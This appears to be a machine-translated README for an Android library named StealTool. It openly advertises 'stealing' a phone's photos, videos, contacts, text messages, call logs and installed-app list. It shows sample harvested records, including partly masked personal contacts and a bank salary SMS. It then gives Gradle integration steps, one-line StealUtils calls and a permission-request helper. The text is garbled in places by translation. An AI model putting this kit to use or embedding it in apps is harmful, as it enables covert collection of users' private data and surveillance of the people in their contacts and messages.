Steal mobile sensitive information, compatible with Android 6.0

Project introduction

  • The stolen information included:
    • All the photos on the phone
    • All the videos on the phone
    • All contacts in your phone
    • All the text messages on the phone
    • All calls made on the phone
    • All apps installed on the phone
  • Compatible with Android 6.0 and above
  • The dynamic permission application tool is open

Results show

1. Photo information
    MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='the 2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}

Copy the code
2. Video message
      MaterialBean{mLogo='/ storage/emulated / 0 / DCIM/Camera/video/VID_20170917_130313. Mp4', title='VID_20170917_130313.mp4', time='Video Time -00:00:11', filePath='/ storage/emulated / 0 / DCIM/Camera/video/VID_20170917_130313. Mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}

Copy the code
3. The address book
    PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name=Peng '*', number=* * 054191 '151'}
    PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='Hou * li', number='1830 * * * 2828'}
    PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name=Eight '*', number=* * 438 '187337'}
    PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='Little Brother Shentong', number=* * 8127 '18513'}

Copy the code
4. Short message
    [ 10659805436945326.0[Luckin Coffee] Small blue cup, north Horse love ~ give you one5Discount coupon (universal for all drinks) Download APP and enjoy HTTP://t.cn/RlQ2ad3 back to TD unsubscribe, 2018-09-11 01:42:27, receive]

    [ 95555.0, your account8693in09month11day11:42Entry salary, RMB22267.30. China Merchants Bank,2018-09-11 11:46:28To receive]Copy the code
5. Call records
     CallInfo{number=* * 2862 '13141', date=1527322406732, type=2}
    CallInfo{number=* * 85043 '1891', date=1527325280548, type=1}
    CallInfo{number=* * 83 '1360110', date=1527335837700, type=2}

Copy the code
6. Install the App
    AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}
    AppInfo{appName='Leathery shrimp', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}
    AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}
    AppInfo{appName='UC Browser ', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}
    AppInfo{appName='Douyin Short Video', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}

Copy the code

Easiest way to use

1. Add it in your root build.gradle at the end of repositories:
allprojects {
		repositories {
			...
			maven { url 'https://jitpack.io'}}}Copy the code
2. Add the dependency
dependencies {
	        implementation 'com. Making. PengMaster: StealTool: 1.0.0'
	}
Copy the code
3. Add use to activity
// Get the image
StealUtils.getAllLocalPhotos(this@MainActivity)

// Get the video
StealUtils.getAllLocalVideos(this@MainActivity)

// Get the contact
StealUtils.getAllContactInfo(this@MainActivity)

// Get the message
StealUtils.getSmsInPhone(this@MainActivity)

// Get call records
StealUtils.getCallInfos(this@MainActivity)

// Get all apps installed
StealUtils.getInstallApp(packageManager)


java (this) = kotlin (this@MainActivity)
java (getPackageManager()) = kotlin (packageManager)

Copy the code
4. add permission to your menifest
<! -- read --> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/ > <! --> <uses-permission android:name="android.permission.INTERNET"/ > <! -- Contact --> <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/ > <! -- text message --> <uses-permission android:name="android.permission.READ_SMS"/ > <! -- Call history --> <uses-permission android:name="android.permission.READ_CALL_LOG" />
Copy the code

Introduce a very useful Android6.0 dynamic permission application tool

Apply for a permission:

PERMISSION_CAMERA = Request permission (for example: The Manifest. Permission. READ_SMS) REQUEST_CODE_CAMERA = request return code rewriting onRequestPermissionsResult () PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA, new PermissionUtils.PermissionRequestSuccessCallBack() {
            @Override
            public void onHasPermission() {// Permissions have been granted}});Copy the code

Then in the onRequestPermissionsResult:

if(PermissionUtils isPermissionRequestSuccess (grantResults)) {/ / permission to apply for success}Copy the code

What? Apply for multiple permissions at the same time?

    PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,
                new PermissionUtils.PermissionRequestSuccessCallBack() {
            @Override
            public void onHasPermission() {// Permissions have been granted}});Copy the code

Of course, none of the above is the correct pose to apply for permission. The ideal pose should be:

  • First application: follow the normal process;
  • If the user rejects the permission application for the first time, explain the purpose of the permission to the user for the second time.
  • If the user has checked the “Ask No more” option, the user should be directed to the Settings page to manually enable permissions.

Therefore, the complex version of permission application method is extended:

Custom permission application:

PERMISSION_CAMERA = Request permission (for example: The Manifest. Permission. READ_SMS) PermissionUtils. CheckPermission (mContext PERMISSION_CAMERA, new PermissionUtils.PermissionCheckCallBack() {
            @Override
            public void onHasPermission() {/ / have been granted permission} @ Override public void onUserHasAlreadyTurnedDown (String... Permission) {// The last permission request was rejected, which can be used to explain the permission reason to the user, and then call the permission request method. } @Override public void onUserHasAlreadyTurnedDownAndDontAsk(String... Permission) {// Apply for permission for the first time or is forbidden to apply for permission. You are advised to call the application permission method directly. }});Copy the code

Then in the onRequestPermissionsResult:

PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {
                    @Override
                    public void onHasPermission() {

                    }

                    @Override
                    public void onUserHasAlreadyTurnedDown(String... permission) {
                        Toast.makeText(mContext, "We need it."+Arrays.toString(permission)+"Rights", Toast.LENGTH_SHORT).show();
                    }

                    @Override
                    public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {
                        Toast.makeText(mContext, "We need it."+Arrays.toString(permission)+"Rights", Toast.LENGTH_SHORT).show(); // Display dialog to Settings page); }});Copy the code

Participate in the contribution

  1. The Fork the project,
  2. New Feat_ XXX branch
  3. Submit code
  4. New Pull Request
  5. Permission tool reference: github.com/ifadai/Perm…

Making the address

  • Project address: github.com/pengMaster/…